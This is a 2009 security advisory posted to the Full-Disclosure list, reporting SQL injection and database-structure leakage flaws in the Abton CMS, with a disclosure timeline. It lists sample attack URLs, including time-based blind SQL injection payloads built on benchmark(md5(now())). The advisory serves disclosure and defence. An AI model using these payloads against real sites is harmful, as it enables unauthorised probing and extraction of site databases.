Abton CMS SQL Injection

`Hello Full-Disclosure!  
  
I want to warn you about vulnerabilities in Abton. It's commercial Ukrainian  
CMS.  
  
-----------------------------  
Advisory: Vulnerabilities in Abton  
-----------------------------  
URL: http://websecurity.com.ua/2886/  
-----------------------------  
Timeline:  
  
31.03.2008 - found the vulnerabilities.  
16.02.2009 - announced at my site.  
17.02.2009 - informed developers.  
24.11.2009 - disclosed at my site.  
-----------------------------  
Details:  
  
These are SQL DB Structure Extraction and SQL Injection vulnerabilities.  
  
SQL DB Structure Extraction:  
  
http://site/rus/details/13220/  
  
http://site/rus/referaty/’/  
  
http://site/rus/’/  
  
http://site/rus/referaty/1/-1/  
  
http://site/abton/  
  
At the site on this engine there are many such vulnerabilities, which lead  
to leakage of structure of DB.  
  
SQL Injection:  
  
http://site/rus/details/’+benchmark(10000,md5(now()))+’/  
  
http://site/rus/referaty/1'+benchmark(10000,md5(now()))-’1/  
  
http://site/rus/’+benchmark(10000,md5(now()))+’/  
  
Vulnerable are all versions of Abton before the version where developers  
fixed these holes.  
  
Best wishes & regards,  
MustLive  
Administrator of Websecurity web site  
http://websecurity.com.ua   
  
`